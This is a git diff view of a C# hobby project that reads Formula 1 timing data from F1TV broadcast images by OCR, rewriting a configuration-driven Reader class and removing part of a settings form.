  • recoverCookiesCSV.py @@ -239,245 +254,352 @@

    Reader.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : Reader.cs
-/// Brief : Class used to Read the config file for the OCR
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Drawing;
-using System.Windows.Forms;
-using System.IO;
-using System.Text.Json;
-
-namespace Test_Merge
-{
-    public class Reader
-    {
-        const int NUMBER_OF_DRIVERS = 20;
-        public List<string> Drivers;
-        public List<Zone> MainZones;
-
-        public Reader(string configFile, Bitmap image,bool loadOCR = true)
-        {
-            MainZones = Load(image,configFile,ref Drivers,loadOCR);
-        }
-        /// <summary>
-        /// Method that reads the JSON config file and create all the Zones and Windows
-        /// </summary>
-        /// <param name="imageNumber">The image #id on wich you want to create the zones on</param>
-        public static List<Zone> Load(Bitmap image,string configFilePath,ref List<string> driverListToFill,bool LoadOCR)
-        {
-            List<Zone> mainZones = new List<Zone>();
-            Bitmap fullImage = image;
-            List<string> drivers;
-            Zone mainZone;
-
-            try
-            {
-                using (var streamReader = new StreamReader(configFilePath))
-                {
-                    var jsonText = streamReader.ReadToEnd();
-                    var jsonDocument = JsonDocument.Parse(jsonText);
-
-                    var driversNames = jsonDocument.RootElement.GetProperty("Drivers");
-                    driverListToFill = new List<string>();
-
-                    foreach (var nameElement in driversNames.EnumerateArray())
-                    {
-                        driverListToFill.Add(nameElement.GetString());
-                    }
-
-                    var mainProperty = jsonDocument.RootElement.GetProperty("Main");
-                    Point MainPosition = new Point(mainProperty.GetProperty("x").GetInt32(), mainProperty.GetProperty("y").GetInt32());
-                    Size MainSize = new Size(mainProperty.GetProperty("width").GetInt32(), mainProperty.GetProperty("height").GetInt32());
-                    Rectangle MainRectangle = new Rectangle(MainPosition, MainSize);
-                    mainZone = new Zone(image, MainRectangle,"Main");
-
-                    var zones = mainProperty.GetProperty("Zones");
-                    var driverZone = zones[0].GetProperty("DriverZone");
-
-                    Point FirstZonePosition = new Point(driverZone.GetProperty("x").GetInt32(), driverZone.GetProperty("y").GetInt32());
-                    Size FirstZoneSize = new Size(driverZone.GetProperty("width").GetInt32(), driverZone.GetProperty("height").GetInt32());
-
-                    var windows = driverZone.GetProperty("Windows");
-
-                    var driverPosition = windows[0].GetProperty("Position");
-                    Size driverPositionArea = new Size(driverPosition.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverPositionPosition = new Point(driverPosition.GetProperty("x").GetInt32(), driverPosition.GetProperty("y").GetInt32());
-
-                    var driverGapToLeader = windows[0].GetProperty("GapToLeader");
-                    Size driverGapToLeaderArea = new Size(driverGapToLeader.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverGapToLeaderPosition = new Point(driverGapToLeader.GetProperty("x").GetInt32(), driverGapToLeader.GetProperty("y").GetInt32());
-
-                    var driverLapTime = windows[0].GetProperty("LapTime");
-                    Size driverLapTimeArea = new Size(driverLapTime.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverLapTimePosition = new Point(driverLapTime.GetProperty("x").GetInt32(), driverLapTime.GetProperty("y").GetInt32());
-
-
-                    var driverDrs = windows[0].GetProperty("DRS");
-                    Size driverDrsArea = new Size(driverDrs.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverDrsPosition = new Point(driverDrs.GetProperty("x").GetInt32(), driverDrs.GetProperty("y").GetInt32());
-
-                    var driverTyres = windows[0].GetProperty("Tyres");
-                    Size driverTyresArea = new Size(driverTyres.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverTyresPosition = new Point(driverTyres.GetProperty("x").GetInt32(), driverTyres.GetProperty("y").GetInt32());
-
-                    var driverName = windows[0].GetProperty("Name");
-                    Size driverNameArea = new Size(driverName.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverNamePosition = new Point(driverName.GetProperty("x").GetInt32(), driverName.GetProperty("y").GetInt32());
-
-                    var driverSector1 = windows[0].GetProperty("Sector1");
-                    Size driverSector1Area = new Size(driverSector1.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverSector1Position = new Point(driverSector1.GetProperty("x").GetInt32(), driverSector1.GetProperty("y").GetInt32());
-
-                    var driverSector2 = windows[0].GetProperty("Sector2");
-                    Size driverSector2Area = new Size(driverSector2.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverSector2Position = new Point(driverSector2.GetProperty("x").GetInt32(), driverSector2.GetProperty("y").GetInt32());
-
-                    var driverSector3 = windows[0].GetProperty("Sector3");
-                    Size driverSector3Area = new Size(driverSector3.GetProperty("width").GetInt32(), FirstZoneSize.Height);
-                    Point driverSector3Position = new Point(driverSector3.GetProperty("x").GetInt32(), driverSector3.GetProperty("y").GetInt32());
-
-                    float offset = (((float)mainZone.ZoneImage.Height - (float)(driverListToFill.Count * FirstZoneSize.Height)) / (float)driverListToFill.Count);
-                    Bitmap MainZoneImage = mainZone.ZoneImage;
-                    List<Zone> zonesToAdd = new List<Zone>();
-                    List<Bitmap> zonesImages = new List<Bitmap>();
-
-                    for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
-                    {
-                        Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset));
-                        Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize), "DriverZone");
-                        zonesToAdd.Add(newDriverZone);
-                        zonesImages.Add(newDriverZone.ZoneImage);
-
-                        newDriverZone.ZoneImage.Save("Driver"+i+".png");
-                    }
-
-                    //Parallel.For(0, NUMBER_OF_DRIVERS, i =>
-                    for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
-                    {
-                        Zone newDriverZone = zonesToAdd[(int)i];
-                        Bitmap zoneImg = zonesImages[(int)i];
-
-                        newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea),LoadOCR));
-                        newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea), LoadOCR));
-                        newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea), LoadOCR));
-                        newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea), LoadOCR));
-                        newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea), LoadOCR));
-                        newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea), LoadOCR));
-                        newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector1Position, driverSector1Area),1, LoadOCR));
-                        newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector2Position, driverSector2Area),2, LoadOCR));
-                        newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector3Position, driverSector3Area),3, LoadOCR));
-
-                        mainZone.AddZone(newDriverZone);
-                    }//);
-                    //MessageBox.Show("We have a main zone with " + MainZone.Zones.Count() + " Driver zones with " + MainZone.Zones[4].Windows.Count() + " windows each and we have " + Drivers.Count + " drivers");
-                    mainZones.Add(mainZone);
-                }
-            }
-            catch (IOException ex)
-            {
-                MessageBox.Show("Error reading JSON file: " + ex.Message);
-            }
-            catch (JsonException ex)
-            {
-                MessageBox.Show("Invalid JSON format: " + ex.Message);
-            }
-            return mainZones;
-        }    
-        /// <summary>
-        /// Method that calls all the zones and windows to get the content they can find on the image to display them
-        /// </summary>
-        /// <param name="idImage">The id of the image we are working with</param>
-        /// <returns>a string representation of all the returns</returns>
-        public async Task<string> Decode(List<Zone> mainZones,List<string> drivers)
-        {
-            string result = "";
-            List<DriverData> mainResults = new List<DriverData>();
-
-            //Decode
-            for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++)
-            {
-                switch (mainZoneId)
-                {
-                    case 0:
-                        //Main Zone
-                        foreach (Zone z in mainZones[mainZoneId].Zones)
-                        {
-                            mainResults.Add(await z.Decode(Drivers));
-                        }
-                        break;
-                        //Next there could be a Title Zone and TrackInfoZone
-                }
-            }
-
-            //Display
-            foreach (DriverData driver in mainResults)
-            {
-                result += driver.ToString();
-                result += Environment.NewLine;
-            }
-
-            return result;
-        }
-        /// <summary>
-        /// Method that can be used to convert an amount of miliseconds into a more readable human form
-        /// </summary>
-        /// <param name="amountOfMs">The given amount of miliseconds ton convert</param>
-        /// <returns>A human readable string that represents the ms</returns>
-        public static string ConvertMsToTime(int amountOfMs)
-        {
-            //Convert.ToInt32 would round upand I dont want that
-            int minuts = (int)((float)amountOfMs / (1000f * 60f));
-            int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000);
-            int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000));
-
-            return minuts + ":" + seconds.ToString("00") + ":" + ms.ToString("000");
-        }
-        /// <summary>
-        /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging
-        /// </summary>
-        /// <param name="idImage">the #id of the image we are working with</param>
-        /// <returns>the drawed bitmap</returns>
-        public Bitmap Draw(Bitmap image,List<Zone> mainZones)
-        {
-
-            Graphics g = Graphics.FromImage(image);
-
-            foreach (Zone z in mainZones)
-            {
-                int count = 0;
-                foreach (Zone zz in z.Zones)
-                {
-                    g.DrawRectangle(Pens.Red, z.Bounds);
-                    foreach (Window w in zz.Windows)
-                    {
-                        g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height));
-                    }
-
-                    count++;
-                }
-            }
-
-            return image;
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : Reader.cs
+/// Brief : Class used to Read the config file for the OCR
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Drawing;
+using System.Windows.Forms;
+using System.IO;
+using System.Text.Json;
+
+namespace TrackTrends
+{
+    public class Reader
+    {
+        const int NUMBER_OF_DRIVERS = 20;
+        public List<string> Drivers;
+        public List<Zone> MainZones;
+
+        private SqliteStorage _storage;
+        private List<DriverData>[] DriverDataLogs = new List<DriverData>[NUMBER_OF_DRIVERS];
+        private int[] DriverLaps = new int[NUMBER_OF_DRIVERS];
+
+        public SqliteStorage Storage { get => _storage; private set => _storage = value; }
+
+        public Reader(string configFile, Bitmap image, bool loadOCR = true)
+        {
+            Storage = new SqliteStorage();
+            MainZones = Load(image, configFile, ref Drivers, loadOCR);
+        }
+        /// <summary>
+        /// Method that reads the JSON config file and create all the Zones and Windows
+        /// </summary>
+        /// <param name="imageNumber">The image #id on wich you want to create the zones on</param>
+        public List<Zone> Load(Bitmap image, string configFilePath, ref List<string> driverListToFill, bool LoadOCR)
+        {
+            // Note : You may wonder why in the H... I have all the zones and windows stored in a JSON file and not just for example the first and the last
+            // Its because they are not perfectly aligned to each others and every zone has his own alignement to the main image
+            List<Zone> mainZones = new List<Zone>();
+            Bitmap fullImage = image;
+            Zone mainZone;
+
+            for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
+            {
+                DriverDataLogs[i] = new List<DriverData>();
+                DriverLaps[i] = 0;
+            }
+
+            try
+            {
+                string jsonString = File.ReadAllText(configFilePath);
+
+                JsonDocument document = JsonDocument.Parse(jsonString);
+
+                JsonElement root = document.RootElement;
+
+                mainZones = new List<Zone>();
+                driverListToFill = new List<string>();
+
+                JsonElement main = root.GetProperty("Main");
+
+                int x = main.GetProperty("x").GetInt32();
+                int y = main.GetProperty("y").GetInt32();
+                int width = main.GetProperty("width").GetInt32();
+                int height = main.GetProperty("height").GetInt32();
+
+                mainZone = new Zone(fullImage, new Rectangle(x, y, width, height), "Main");
+
+                mainZone.ResetWindows();
+                mainZone.ResetZones();
+
+                JsonElement driverZones = main.GetProperty("DriverZones");
+
+                foreach (JsonElement driverZoneElement in driverZones.EnumerateArray())
+                {
+                    string name = driverZoneElement.GetProperty("name").GetString();
+                    int driverX = driverZoneElement.GetProperty("x").GetInt32() + mainZone.Bounds.X;
+                    int driverY = driverZoneElement.GetProperty("y").GetInt32() + mainZone.Bounds.Y;
+                    int driverWidth = driverZoneElement.GetProperty("width").GetInt32();
+                    int driverHeight = driverZoneElement.GetProperty("height").GetInt32();
+
+                    Zone driverZone = new Zone(fullImage, new Rectangle(driverX, driverY, driverWidth, driverHeight), "Driver");
+
+                    JsonElement windowsElement = driverZoneElement.GetProperty("Windows");
+
+                    //string[] windowNames = new string[] { "Position","GapToLeader","LapTime","DRS","Tyres","Name","Sector1","Sector2","Sector3" };
+
+                    foreach (JsonElement windowElement in windowsElement.EnumerateArray())
+                    {
+                        //Position
+                        JsonElement posEl = windowElement.GetProperty("Position");
+                        DriverPositionWindow positionWindow = new DriverPositionWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                posEl.GetProperty("x").GetInt32(),
+                                posEl.GetProperty("y").GetInt32(),
+                                posEl.GetProperty("width").GetInt32(),
+                                posEl.GetProperty("height").GetInt32()),
+                            LoadOCR);
+
+                        //GapToLeader
+                        JsonElement gapEl = windowElement.GetProperty("GapToLeader");
+                        DriverGapToLeaderWindow gapWindow = new DriverGapToLeaderWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                gapEl.GetProperty("x").GetInt32(),
+                                gapEl.GetProperty("y").GetInt32(),
+                                gapEl.GetProperty("width").GetInt32(),
+                                gapEl.GetProperty("height").GetInt32()),
+                            LoadOCR);
+
+                        //LapTime
+                        JsonElement lapEl = windowElement.GetProperty("LapTime");
+                        DriverLapTimeWindow lapWindow = new DriverLapTimeWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                lapEl.GetProperty("x").GetInt32(),
+                                lapEl.GetProperty("y").GetInt32(),
+                                lapEl.GetProperty("width").GetInt32(),
+                                lapEl.GetProperty("height").GetInt32()),
+                            LoadOCR);
+
+                        //DRS
+                        JsonElement drsEl = windowElement.GetProperty("DRS");
+                        DriverDrsWindow drsWindow = new DriverDrsWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                drsEl.GetProperty("x").GetInt32(),
+                                drsEl.GetProperty("y").GetInt32(),
+                                drsEl.GetProperty("width").GetInt32(),
+                                drsEl.GetProperty("height").GetInt32()),
+                            LoadOCR);
+
+                        //Tyre
+                        JsonElement tyresEl = windowElement.GetProperty("Tyres");
+                        DriverTyresWindow tyreWindow = new DriverTyresWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                tyresEl.GetProperty("x").GetInt32(),
+                                tyresEl.GetProperty("y").GetInt32(),
+                                tyresEl.GetProperty("width").GetInt32(),
+                                tyresEl.GetProperty("height").GetInt32()),
+                            LoadOCR);
+
+                        //Name
+                        JsonElement nameEl = windowElement.GetProperty("Name");
+                        DriverNameWindow nameWindow = new DriverNameWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                nameEl.GetProperty("x").GetInt32(),
+                                nameEl.GetProperty("y").GetInt32(),
+                                nameEl.GetProperty("width").GetInt32(),
+                                nameEl.GetProperty("height").GetInt32()),
+                            LoadOCR);
+
+                        //Sector1
+                        JsonElement sec1El = windowElement.GetProperty("Sector1");
+                        DriverSectorWindow sec1Window = new DriverSectorWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                sec1El.GetProperty("x").GetInt32(),
+                                sec1El.GetProperty("y").GetInt32(),
+                                sec1El.GetProperty("width").GetInt32(),
+                                sec1El.GetProperty("height").GetInt32()),
+                            1, LoadOCR);
+
+                        //Sector2
+                        JsonElement sec2El = windowElement.GetProperty("Sector2");
+                        DriverSectorWindow sec2Window = new DriverSectorWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                sec2El.GetProperty("x").GetInt32(),
+                                sec2El.GetProperty("y").GetInt32(),
+                                sec2El.GetProperty("width").GetInt32(),
+                                sec2El.GetProperty("height").GetInt32()),
+                            2, LoadOCR);
+
+                        //Sector3
+                        JsonElement sec3El = windowElement.GetProperty("Sector3");
+                        DriverSectorWindow sec3Window = new DriverSectorWindow(driverZone.ZoneImage,
+                            new Rectangle(
+                                sec3El.GetProperty("x").GetInt32(),
+                                sec3El.GetProperty("y").GetInt32(),
+                                sec3El.GetProperty("width").GetInt32(),
+                                sec3El.GetProperty("height").GetInt32()),
+                            3, LoadOCR);
+
+                        driverZone.AddWindow(positionWindow);
+                        driverZone.AddWindow(gapWindow);
+                        driverZone.AddWindow(lapWindow);
+                        driverZone.AddWindow(drsWindow);
+                        driverZone.AddWindow(tyreWindow);
+                        driverZone.AddWindow(nameWindow);
+                        driverZone.AddWindow(sec1Window);
+                        driverZone.AddWindow(sec2Window);
+                        driverZone.AddWindow(sec3Window);
+                    }
+                    mainZone.AddZone(driverZone);
+                }
+
+                JsonElement driversElement = main.GetProperty("Drivers");
+                foreach (JsonElement driverElement in driversElement.EnumerateArray())
+                {
+                    string driverName = driverElement.GetString();
+                    driverListToFill.Add(driverName);
+                    Storage.AddDriver(driverName);
+                }
+
+                mainZones.Add(mainZone);
+            }
+            catch (IOException ex)
+            {
+                MessageBox.Show("Error reading JSON file: " + ex.Message);
+            }
+            catch (JsonException ex)
+            {
+                MessageBox.Show("Invalid JSON format: " + ex.Message);
+            }
+            int driverID = 0;
+            foreach (Zone z in mainZones[0].Zones)
+            {
+                driverID++;
+                z.ZoneImage.Save("LoadedDriver" + driverID + ".png");
+            }
+            return mainZones;
+        }
+        /// <summary>
+        /// Method that calls all the zones and windows to get the content they can find on the image to display them
+        /// </summary>
+        /// <param name="idImage">The id of the image we are working with</param>
+        /// <returns>a string representation of all the returns</returns>
+        public List<DriverData> Decode(List<Zone> mainZones, List<string> drivers)
+        { 
+            List<DriverData> mainResults = new List<DriverData>();
+            //Decode
+            for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++)
+            {
+                switch (mainZoneId)
+                {
+                    case 0:
+                        //object lockObject = new object();
+                        //Main Zone
+                        Parallel.For(0, mainZones[mainZoneId].Zones.Count, async i =>
+                        //for (int i = 0; i < mainZones[mainZoneId].Zones.Count; i++)
+                        {
+                            DriverData data = mainZones[mainZoneId].Zones[i].Decode(new List<string>(drivers));
+                            mainResults.Add(data);
+                            DriverDataLogs[i].Add(data);
+
+                            if (data.Position != -1 && DriverDataLogs[i].Count > 1)
+                            {
+                                //Tries to fix the tyres
+                                if (data.CurrentTyre.NumberOfLaps > DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps + 3)
+                                    data.CurrentTyre.NumberOfLaps = DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps + 1;
+
+                                //Checking if its a new lap
+                                //If the third sector is filled but it was'nt the last time, then it means that a new Lap has been started 
+                                //Lap detection can be f***ed if the OCR takes so much time that an entire sector can be raced without us knowing.
+                                if (
+                                    DriverDataLogs[i][DriverDataLogs[i].Count - 1].Sector3 != 0
+                                    && DriverDataLogs[i][DriverDataLogs[i].Count - 2].Sector3 == 0
+                                    && DriverDataLogs[i][DriverDataLogs[i].Count - 2].Position != -1
+                                    && DriverDataLogs[i][DriverDataLogs[i].Count - 1].Position != -1)
+                                {
+                                    DriverData stats = new DriverData();
+                                    stats = DriverDataLogs[i][DriverDataLogs[i].Count - 1];
+                                    DriverLaps[i]++;
+                                    Storage.AddDriverStat(stats, DriverLaps[i]);
+                                }
+                                //Checking if its a pitstop
+                                //Forget this the best way to know if a tyre has been changed is if the number of laps is zero
+                                if (data.CurrentTyre.Coumpound != Tyre.Type.Undefined && data.CurrentTyre.NumberOfLaps == 0 && DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps != 0)
+                                {
+                                    Storage.AddPitstop(data.Name, DriverLaps[i] - 1, data.CurrentTyre.Coumpound.ToString());
+                                    //Driver laps -1 because it would take AT LEAST one lap for this program to detect a pitstop
+                                }
+                            }
+                            DriverDataLogs[i].Add(data);
+                        });
+                        break;
+                        //Next there could be a Title Zone and TrackInfoZone
+                }
+            }
+            //mainResults = mainResults.OrderBy(driver => driver.Position >= 0).ThenBy(driver => driver.Position).ToList();
+            mainResults = mainResults.OrderBy(driver => driver.Position).ToList();
+            return mainResults;
+        }
+        /// <summary>
+        /// Changes the image in all of the zones wich then will do the same for theyre own subzones and windows
+        /// </summary>
+        /// <param name="Image">The new Image from the F1TV data channel</param>
+        public void ChangeImage(Bitmap Image)
+        {
+            foreach (Zone z in MainZones)
+            {
+                z.Image = Image;
+            }
+        }
+        /// <summary>
+        /// Method that can be used to convert an amount of miliseconds into a more readable human form
+        /// </summary>
+        /// <param name="amountOfMs">The given amount of miliseconds ton convert</param>
+        /// <returns>A human readable string that represents the ms</returns>
+        public static string ConvertMsToTime(int amountOfMs)
+        {
+            //Convert.ToInt32 would round upand I dont want that
+            int minuts = (int)((float)amountOfMs / (1000f * 60f));
+            int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000);
+            int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000));
+
+            return minuts + ":" + seconds.ToString("00") + ":" + ms.ToString("000");
+        }
+        /// <summary>
+        /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging
+        /// </summary>
+        /// <param name="idImage">the #id of the image we are working with</param>
+        /// <returns>the drawed bitmap</returns>
+        public Bitmap Draw(Bitmap image, List<Zone> mainZones)
+        {
+
+            Graphics g = Graphics.FromImage(image);
+
+            foreach (Zone z in mainZones)
+            {
+                int count = 0;
+                foreach (Zone zz in z.Zones)
+                {
+                    g.DrawRectangle(Pens.Red, z.Bounds);
+                    foreach (Window w in zz.Windows)
+                    {
+                        g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height));
+                    }
+
+                    count++;
+                }
+            }
+
+            return image;
+        }
+    }
+}
+
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -190,13 +185,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -209,6 +214,11 @@ OcrImage.cs
    • +
  • + + Reader.cs + +
  • @@ -216,6 +226,11 @@
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,430 +254,491 @@

    Settings.cs

    -
    using System;
-using System.Collections.Generic;
-using System.ComponentModel;
-using System.Data;
-using System.Drawing;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using System.Windows.Forms;
-using System.IO;
-
-namespace Test_Merge
-{
-    public partial class Settings : Form
-    {
-        private string _grandPrixUrl = "";
-        private string _grandPrixName = "";
-        private int _grandPrixYear = 2000;
-        private List<string> _driverList = new List<string>();
-
-        private F1TVEmulator Emulator = null;
-        private ConfigurationTool Config = null;
-
-        private bool CreatingZone = false;
-        private Point ZoneP1;
-        private Point ZoneP2;
-
-        private bool CreatingWindow = false;
-        private Point WindowP1;
-        private Point WindowP2;
-
-        List<Rectangle> WindowsToAdd = new List<Rectangle>();
-
-        public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
-        public string GrandPrixName { get => _grandPrixName; private set => _grandPrixName = value; }
-        public int GrandPrixYear { get => _grandPrixYear; private set => _grandPrixYear = value; }
-        public List<string> DriverList { get => _driverList; private set => _driverList = value; }
-
-        public Settings()
-        {
-            InitializeComponent();
-            Load();
-        }
-        private void Load()
-        {
-            RefreshUI();
-        }
-        private void RefreshUI()
-        {
-
-            lsbDrivers.DataSource = null;
-            lsbDrivers.DataSource = DriverList;
-
-            if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
-            {
-                lsbPresets.DataSource = null;
-                lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
-            }
-            if (CreatingZone)
-            {
-                if (ZoneP1 == new Point(-1, -1))
-                {
-                    lblZonePointsRemaning.Text = "2 points Remaining";
-                }
-                else
-                {
-                    lblZonePointsRemaning.Text = "1 point Remaining";
-                }
-            }
-            else
-            {
-                lblZonePointsRemaning.Text = "";
-            }
-
-            if (CreatingWindow)
-            {
-                if (WindowP1 == new Point(-1, -1))
-                {
-                    lblWindowPointsRemaining.Text = "2 points Remaining";
-                }
-                else
-                {
-                    lblWindowPointsRemaining.Text = "1 point Remaining";
-                }
-                lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + " Windows remaining";
-            }
-            else
-            {
-                lblWindowPointsRemaining.Text = "";
-                lblWindowsRemaining.Text = "";
-            }
-            if (Config != null)
-            {
-                pbxMain.Image = Config.MainZone.Draw();
-                if(Config.MainZone.Zones.Count > 0)
-                    pbxDriverZone.Image = Config.MainZone.Zones[0].Draw();
-            }
-        }
-        private void CreateNewZone(Point p1, Point p2)
-        {
-            Rectangle dimensions = CreateAbsoluteRectangle(p1, p2);
-            Config = new ConfigurationTool((Bitmap)pbxMain.Image, dimensions);
-            RefreshUI();
-        }
-        private void CreateWindows(List<Rectangle> dimensions)
-        {
-            if (Config != null)
-            {
-                Config.AddWindows(dimensions);
-            }
-        }
-        private void tbxGpUrl_TextChanged(object sender, EventArgs e)
-        {
-            GrandPrixUrl = tbxGpUrl.Text;
-        }
-
-        private void tbxGpName_TextChanged(object sender, EventArgs e)
-        {
-            GrandPrixName = tbxGpName.Text;
-        }
-
-        private void tbxGpYear_TextChanged(object sender, EventArgs e)
-        {
-            int year;
-            try
-            {
-                year = Convert.ToInt32(tbxGpYear.Text);
-            }
-            catch
-            {
-                year = 1545;
-            }
-            GrandPrixYear = year;
-        }
-
-        private void btnAddDriver_Click(object sender, EventArgs e)
-        {
-            string newDriver = tbxDriverName.Text;
-            DriverList.Add(newDriver);
-            tbxDriverName.Text = "";
-            RefreshUI();
-        }
-
-        private void btnRemoveDriver_Click(object sender, EventArgs e)
-        {
-            if (lsbDrivers.SelectedIndex >= 0)
-            {
-                DriverList.RemoveAt(lsbDrivers.SelectedIndex);
-            }
-            RefreshUI();
-        }
-        private void SwitchZoneCreation()
-        {
-            if (CreatingZone)
-            {
-                CreatingZone = false;
-                lblZonePointsRemaning.Text = "";
-            }
-            else
-            {
-                CreatingZone = true;
-
-                if (Config != null)
-                    Config.ResetMainZone();
-
-                if (CreatingWindow)
-                    SwitchWindowCreation();
-
-                if (Emulator != null && Emulator.Ready)
-                {
-                    Config = null;
-                    pbxMain.Image = Emulator.Screenshot();
-                }
-
-                ZoneP1 = new Point(-1, -1);
-                ZoneP2 = new Point(-1, -1);
-
-                lblZonePointsRemaning.Text = "2 Points left";
-            }
-            RefreshUI();
-        }
-        private void SwitchWindowCreation()
-        {
-            if (CreatingWindow)
-            {
-                CreatingWindow = false;
-            }
-            else
-            {
-                CreatingWindow = true;
-
-                if (Config != null)
-                    Config.ResetWindows();
-
-                if (CreatingZone)
-                    SwitchZoneCreation();
-
-                WindowP1 = new Point(-1, -1);
-                WindowP2 = new Point(-1, -1);
-
-                WindowsToAdd = new List<Rectangle>();
-            }
-            RefreshUI();
-        }
-        private void btnCreatZone_Click(object sender, EventArgs e)
-        {
-            SwitchZoneCreation();
-        }
-        private void btnCreateWindow_Click(object sender, EventArgs e)
-        {
-            SwitchWindowCreation();
-        }
-        private void pbxMain_MouseClick(object sender, MouseEventArgs e)
-        {
-            if (CreatingZone && pbxMain.Image != null)
-            {
-                //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y));
-                Point coordinates = e.Location;
-                float xOffset = (float)pbxMain.Image.Width / (float)pbxMain.Width;
-                float yOffset = (float)pbxMain.Image.Height / (float)pbxMain.Height;
-                Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
-
-                //MessageBox.Show("Coordinates" + Environment.NewLine + "Old : " + coordinates.ToString() + Environment.NewLine + "New : " + newPoint.ToString());
-
-                if (ZoneP1 == new Point(-1, -1))
-                {
-                    ZoneP1 = newPoint;
-                }
-                else
-                {
-                    ZoneP2 = newPoint;
-                    CreateNewZone(ZoneP1, ZoneP2);
-                    SwitchZoneCreation();
-                }
-                RefreshUI();
-            }
-        }
-        private void pbxMain_Click(object sender, EventArgs e)
-        {
-            //Not the right one to use visibly
-        }
-        private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e)
-        {
-            if (CreatingWindow && pbxDriverZone.Image != null)
-            {
-                Point coordinates = e.Location;
-
-                float xOffset = (float)pbxDriverZone.Image.Width / (float)pbxDriverZone.Width;
-                float yOffset = (float)pbxDriverZone.Image.Height / (float)pbxDriverZone.Height;
-
-                Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
-
-                if (WindowP1 == new Point(-1, -1))
-                {
-                    WindowP1 = newPoint;
-                }
-                else
-                {
-                    WindowP2 = newPoint;
-                    WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2));
-
